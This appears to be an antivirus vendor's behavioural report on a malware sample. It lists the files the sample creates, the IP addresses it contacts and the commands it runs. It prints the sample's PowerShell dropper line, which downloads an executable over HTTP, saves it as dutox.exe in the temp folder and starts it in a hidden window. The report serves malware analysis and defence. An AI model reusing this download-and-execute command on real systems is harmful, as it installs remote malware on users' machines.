Technical Information
Malicious functions
Downloads and executes
- $strin as %temp%\dutox.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c PowerShell "'PowerShell ""function jacertix([String] $strin){(New-Object System.Net.WebClient).DownloadFile($strin,''%TMP%\dutox.exe'');Start-Process ''%TMP%\dutox.exe'';}try{jacertix(''http...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1900
Modifies file system
Creates the following files
- %TEMP%\uvcmarm.bat
- %TEMP%\934835.cvr
Network activity
Connects to
- '37.##.50.189':80
- '94.##.204.222':80
TCP
HTTP GET requests
- http://94.##.204.222/docs/scan001.jpeg
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell "'PowerShell ""function jacertix([String] $strin){(New-Object System.Net.WebClient).DownloadFile($strin,''%TMP%\dutox.exe'');Start-Process ''%TMP%\dutox.exe'';}try{jacertix(''http...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\uvcmarm.bat" "' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\uvcmarm.bat" "
